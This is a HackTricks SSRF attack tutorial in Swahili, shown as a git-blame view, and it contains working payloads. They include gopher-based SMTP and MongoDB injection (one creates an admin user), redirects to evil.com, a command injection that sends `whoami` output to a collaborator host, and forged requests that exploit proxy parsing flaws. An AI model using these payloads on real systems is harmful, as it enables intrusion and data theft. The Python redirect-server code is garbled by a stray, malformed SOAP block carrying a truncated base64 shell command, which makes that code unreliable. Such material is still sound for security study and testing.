hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

423 lines
22 KiB
Markdown
Raw Normal View History

2022-04-29 15:47:17 +00:00
# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
2022-09-01 23:40:55 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2024-02-05 20:00:40 +00:00
Ugunduzi wa **udhaifu wa Server-side Request Forgery (SSRF)** hutokea wakati muhusika anaharibu **programu upande wa server** kufanya **ombi la HTTP** kwa kikoa wanachochagua. Udhaifu huu unafunua server kwa maombi ya nje yasiyo na mpangilio yanayoongozwa na muhusika.
2022-02-13 12:30:13 +00:00
2024-02-11 02:13:58 +00:00
## Kukamata SSRF
2022-02-13 12:30:13 +00:00
Jambo la kwanza unahitaji kufanya ni kukamata mwingiliano wa SSRF uliotengenezwa na wewe. Kukamata mwingiliano wa HTTP au DNS unaweza kutumia zana kama:
2022-02-13 12:30:13 +00:00
2024-02-05 20:00:40 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb**](http://pingb.in)
2022-09-01 23:40:55 +00:00
* [**canarytokens**](https://canarytokens.org/generate)
2022-04-05 22:24:52 +00:00
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
2024-02-05 20:00:40 +00:00
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
2024-02-11 02:13:58 +00:00
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator inayotumia ngrok
2022-02-13 12:30:13 +00:00
## Kupitisha Domains Zilizowekwa kwenye Orodha ya Kufanya
2022-02-13 12:30:13 +00:00
Kawaida utagundua kuwa SSRF inafanya kazi tu kwenye **aina fulani za domains** au URL. Kwenye ukurasa unaofuata una **mkusanyiko wa mbinu za kujaribu kupitisha orodha hiyo**:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Kupitisha kupitia kuelekeza wazi
2022-02-13 12:30:13 +00:00
Ikiwa server imekingwa vizuri unaweza **kupitisha vizuizi vyote kwa kutumia Kuelekeza wazi kwenye ukurasa wa wavuti**. Kwa sababu ukurasa wa wavuti utaruhusu **SSRF kwa kikoa kile kile** na labda itafuata **kuelekeza**, unaweza kutumia **Kuelekeza wazi kufanya server kufikia rasilimali yoyote ya ndani**.\
2024-02-11 02:13:58 +00:00
Soma zaidi hapa: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2024-02-11 02:13:58 +00:00
## Itifaki
2022-04-29 15:47:17 +00:00
* **file://**
* Mpangilio wa URL `file://` unarejelea, ukionyesha moja kwa moja kwa `/etc/passwd`: `file:///etc/passwd`
* **dict://**
* Mpangilio wa URL wa DICT unaelezewa kutumika kwa kupata ufafanuzi au orodha za maneno kupitia itifaki ya DICT. Mfano uliotolewa unadhihirisha URL iliyoundwa ikilenga neno maalum, database, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumiwa vibaya kuunganisha kwenye seva ya DICT kwa kutumia sifa zilizotolewa na muhusika: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Kutambuliwa kama itifaki ya uhamishaji salama wa faili kupitia ganda la usalama, mfano unatolewa ukionyesha jinsi skripti ya PHP inaweza kutumiwa kuunganisha kwenye seva mbaya ya SFTP: `url=sftp://generic.com:11111/`
* **TFTP://**
* Itifaki ya Uhamishaji wa Faili Rahisi, ikifanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linatolewa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Dhibiti la Mwanga, ikisisitiza matumizi yake kwa kusimamia na kupata huduma za habari za saraka zilizosambazwa kupitia mitandao ya IP. Kuwasiliana na seva ya LDAP kwenye localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* Njia inaelezewa ya kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufunua majina ya kikoa cha ndani na hatua zaidi za uchunguzi kulingana na habari hiyo.
2022-02-13 12:30:13 +00:00
```
2024-02-06 03:10:27 +00:00
From https://twitter.com/har1sec/status/1182255952055164929
2024-02-05 20:00:40 +00:00
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
* **Curl URL globbing - Kupita kwa WAF**
* Ikiwa SSRF inatekelezwa na **curl**, curl ina kipengele kinachoitwa [**URL globbing**](https://everything.curl.dev/cmdline/globbing) ambacho kinaweza kuwa na manufaa katika kukiuka WAFs. Kwa mfano katika hii [**andika**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) unaweza kupata mfano huu kwa **upitishaji wa njia kupitia itifaki ya `file`**:
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:00:40 +00:00
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
* **Gopher://**
* Uwezo wa itifaki ya Gopher wa kutaja IP, bandari, na baits kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa kutengeneza mizigo. Matumizi mawili tofauti yanaelezwa:
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
Kwa kutumia itifaki hii unaweza kutaja **IP, bandari na bytes** unazotaka seva itume. Kisha, unaweza kimsingi kutumia SSRF kuwasiliana na **seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma kwanza).\
Bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutengeneza mizigo kwa huduma kadhaa. Kwa kuongezea, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutengeneza mizigo ya _gopher_ kwa huduma za _Java RMI_.
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2022-04-29 15:47:17 +00:00
**Gopher HTTP**
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP - Rudi kwa 1337**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Unda mtumiaji mwenye jina la mtumiaji=admin na nywila=admin123 na kibali=msimamizi
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
2024-02-11 02:13:58 +00:00
## SSRF kupitia kichwa cha Referrer & Wengine
2023-01-11 11:28:05 +00:00
Programu za takwimu kwenye seva mara nyingi hurekodi kichwa cha Referrer kufuatilia viungo vinavyoingia, mazoezi ambayo kwa bahati mbaya hufunua programu kwa Vulnerabilities ya Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu kama hizo zinaweza kutembelea URL za nje zilizotajwa kwenye kichwa cha Referrer kuchambua maudhui ya tovuti ya rufaa. Ili kugundua vulnerabilities hizi, programu-jalizi ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikichangamana na njia analytics zana zinavyoprocess kichwa cha Referer kutambua maeneo ya mashambulizi ya SSRF.
2023-01-11 11:28:05 +00:00
## SSRF kupitia data ya SNI kutoka kwenye cheti
2024-04-06 19:39:38 +00:00
Hitilafu ambayo inaweza kuwezesha uhusiano kwa seva yoyote kupitia usanidi rahisi inaelezwa kwa mfano wa usanidi wa Nginx:
2024-02-06 03:10:27 +00:00
```
2023-01-11 11:28:05 +00:00
stream {
2024-02-11 02:13:58 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
Katika usanidi huu, thamani kutoka kwa uga wa Jina la Seva Indication (SNI) hutumiwa moja kwa moja kama anwani ya seva ya nyuma. Usanidi huu unafunua udhaifu wa Server-Side Request Forgery (SSRF), ambao unaweza kutumiwa kwa kuelekeza tu anwani ya IP au jina la uwanja uliokusudiwa katika uga wa SNI. Mfano wa kutumia udhaifu huu kwa kushurutisha uhusiano kwa seva ya nyuma isiyojulikana, kama vile `internal.host.com`, kwa kutumia amri ya `openssl` umeelezewa hapa chini:
2023-01-11 11:28:05 +00:00
```bash
2024-02-06 03:10:27 +00:00
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
## [Weka faili kupitia Wget](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-11 11:28:05 +00:00
## SSRF na Kuingiza Amri
2022-02-13 12:30:13 +00:00
Inaweza kuwa na thamani kujaribu mzigo kama huu: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2022-02-13 12:30:13 +00:00
## Utoaji wa PDFs
2022-02-13 12:30:13 +00:00
Ikiwa ukurasa wa wavuti unazalisha moja kwa moja PDF na habari fulani umetoa, unaweza **kuweka JS ambayo itatekelezwa na mtengenezaji wa PDF** yenyewe (seva) wakati wa kuzalisha PDF na utaweza kutumia SSRF. [**Pata habari zaidi hapa**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2022-02-13 12:30:13 +00:00
2024-02-11 02:13:58 +00:00
## Kutoka SSRF hadi DoS
2022-02-13 12:30:13 +00:00
Unda vikao kadhaa na jaribu kupakua faili nzito ukitumia udhaifu wa SSRF kutoka kwa vikao.
2022-02-13 12:30:13 +00:00
2024-02-11 02:13:58 +00:00
## Vipengele vya PHP vya SSRF
2023-01-22 18:27:01 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
2024-02-11 02:13:58 +00:00
## SSRF Kuhamisha kwa Gopher
2022-02-13 12:30:13 +00:00
Kwa baadhi ya uchimbaji unaweza kuhitaji **kutuma jibu la kuhamisha** (labda kutumia itifaki tofauti kama gopher). Hapa una nambari tofauti za python kujibu kwa kuhamisha:
```python
2022-02-13 12:30:13 +00:00
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2024-02-11 02:13:58 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
```html
<p>Ennoble xmln:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.xmlsoap.org/ws/2001/XMLSchema">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsmain/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="false">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous/ExchangeShellCommand</a:Action>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
<w:OptionSet>
<w:Option Name="__cimnamespace">root/scx</w:Option>
<w:Option Name="ecu -n YmFzaCAtdCAgYmFzaH</w:Option>
<w:Timeout>0</w:Timeout>
</w:OptionSet>
</s:Header>
</s:Envelope>
```
```python
2024-02-11 02:13:58 +00:00
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
2022-02-13 12:30:13 +00:00
```python
from flask import Flask, redirect
from urllib.parse import quote
2024-02-11 02:13:58 +00:00
app = Flask(__name__)
2022-02-13 12:30:13 +00:00
2024-02-11 02:13:58 +00:00
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za jamii ya **juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
2022-09-01 23:40:55 +00:00
## Proksi zilizowekwa vibaya kwa SSRF
Mbinu [**kutoka kwenye chapisho hili**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Msimbo hatari wa proksi ya Flask</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
2024-04-06 19:39:38 +00:00
def proxy(path):
return get(f'{SITE_NAME}{path}').content
2024-04-06 19:39:38 +00:00
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
Flask inaruhusu kutumia **`@`** kama herufi ya kwanza, ambayo inaruhusu kufanya **jina la mwenyeji wa awali kuwa jina la mtumiaji** na kuingiza mpya. Ombi la shambulio:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Msimbo unaoweza kudhuriwa:
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
2024-04-06 19:39:38 +00:00
Iligundulika kwamba Inawezekana kuanza njia ya ombi na herufi **`;`** ambayo inaruhusu kutumia **`@`** na kuingiza mwenyeji mpya wa kupata. Ombi la shambulio:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### Seva ya Wavuti ya Kujengwa kwa PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>Msimbo wa PHP wenye Kasoro</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHP inaruhusu matumizi ya **herufi `*` kabla ya mshale katika njia** ya URL, hata hivyo, ina vizuizi vingine kama vile inaweza kutumika tu kwa jina la njia ya msingi `/` na kwamba vipande `.` haviruhusiwi kabla ya mshale wa kwanza, hivyo ni lazima kutumia anwani ya IP iliyo na hex bila ya vipande kama vile:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP bypass
Ikiwa una **matatizo** ya **kutoa maudhui kutoka kwa anwani ya IP ya ndani** kwa sababu ya **CORS/SOP**, **DNS Rebidding** inaweza kutumika kukiuka kizuizi hicho:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### DNS Rebidding Otomatiki
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurejesha upya anwani ya IP ya seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mizigo ya mashambulizi kudukua programu zinazoweza kudhurika kwenye mashine ya lengo.
Tazama pia **seva inayofanya kazi hadharani katika** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + Kitambulisho cha Kikao cha TLS/Tiketi ya Kikao
Mahitaji:
* **SSRF**
* **Vikao vya TLS vya kutoka nje**
* **Vitu kwenye bandari za ndani**
Shambulio:
1. Muulize mtumiaji/roboti **kupata** **kikoa** kinachodhibitiwa na **mshambulizi**
2. **TTL** ya **DNS** ni **0** sec (hivyo muathiriwa atachunguza IP ya kikoa tena hivi karibuni)
3. Uunganisho wa **TLS** unajengwa kati ya muathiriwa na kikoa cha mshambulizi. Mshambulizi anaingiza **mzigo ndani** ya **Kitambulisho cha Kikao au Tiketi ya Kikao**.
4. **Kikoa** kitanzisha **mzunguko usio na mwisho** wa kuelekeza dhidi **yake mwenyewe**. Lengo la hili ni kufanya mtumiaji/roboti kupata kikoa hadi itakapofanya **tena** ombi la **DNS** la kikoa.
5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (k.m. 127.0.0.1)
6. Mtumiaji/roboti atajaribu **kurejesha uhusiano wa TLS** na ili kufanya hivyo itatuma Kitambulisho cha **Kikao/Tiketi ya Kikao** (ambapo **mzigo** wa mshambulizi ulikuwa). Hivyo pongezi umefanikiwa kuomba **mtumiaji/roboti ajidhuru mwenyewe**.
Tambua kuwa wakati wa shambulio hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kufanya muathiriwa aweke uhusiano wa awali na www.attacker.com:11211 (bandari ** lazima iwe sawa daima**).\
Kwa **kutekeleza shambulio hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Kwa **maelezo zaidi** angalia mazungumzo ambapo shambulio hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Blind SSRF
Tofauti kati ya SSRF isiyo na maono na ile isiyo na maono ni kwamba katika ile isiyo na maono huwezi kuona majibu ya ombi la SSRF. Kwa hivyo, ni ngumu zaidi kudukua kwa sababu utaweza kudukua tu mapungufu yanayojulikana vizuri.
### SSRF Inayotegemea Wakati
**Kwa kuchunguza wakati** wa majibu kutoka kwa seva inaweza kuwa **inawezekana kujua ikiwa rasilimali ipo au la** (labda inachukua muda zaidi kupata rasilimali inayopo kuliko kupata ile isiyopo)
## Udukuzi wa Cloud SSRF
Ikiwa unagundua udhaifu wa SSRF kwenye mashine inayofanya kazi ndani ya mazingira ya wingu unaweza kupata habari muhimu kuhusu mazingira ya wingu na hata vibali:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## Majukwaa Yaliyo na Udhaifu wa SSRF
Majukwaa kadhaa yaliyojulikana yana au yamekuwa na udhaifu wa SSRF, angalia katika:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Zana
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Zana ya kugundua na kudukua udhaifu wa SSRF
### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Machapisho kuhusu Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Zana hii inazalisha mizigo ya Gopher kwa:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [Machapisho kuhusu matumizi ya SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za mashambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo la `--ssrf`, kuzalisha mzigo wa _SSRF_ kwa operesheni iliyoombwa. Pamoja na chaguo la `--gopher`, mizigo ya _gopher_ tayari inaweza kuzalishwa moja kwa moja.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy ni seva ya HTTP ya manyororo iliyoundwa kuficha trafiki ya HTTP ya mteja kupitia seva za HTTP zinazoweza kudhurika na Server-Side Request Forgery (SSRF).
### Kwa mazoezi
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
## Marejeo
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kujenga na **kutekeleza kiotomatiki** mchakato unaotumia zana za jamii za juu zaidi ulimwenguni.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}